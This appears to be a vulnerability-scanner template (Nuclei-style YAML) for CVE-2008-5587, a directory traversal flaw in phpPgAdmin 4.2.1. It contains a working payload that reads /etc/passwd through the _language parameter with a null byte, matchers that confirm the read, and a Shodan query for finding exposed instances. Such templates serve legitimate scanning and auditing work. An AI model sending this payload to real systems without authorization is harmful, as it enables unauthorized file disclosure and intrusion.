id: CVE-2008-5587

info:
  name: phpPgAdmin 4.2.1 - '_language' Local File Inclusion
  author: dhiyaneshDK
  severity: medium
  description: Directory traversal vulnerability in libraries/lib.inc.php in phpPgAdmin 4.2.1 and earlier, when register_globals is enabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the _language parameter to index.php.
  reference:
    - https://www.exploit-db.com/exploits/7363
    - http://web.archive.org/web/20210121184707/https://www.securityfocus.com/bid/32670/
    - http://secunia.com/advisories/33014
    - http://secunia.com/advisories/33263
  classification:
    cve-id: CVE-2008-5587
  metadata:
    shodan-query: http.title:"phpPgAdmin"
  tags: cve2008,lfi,phppgadmin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00'

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200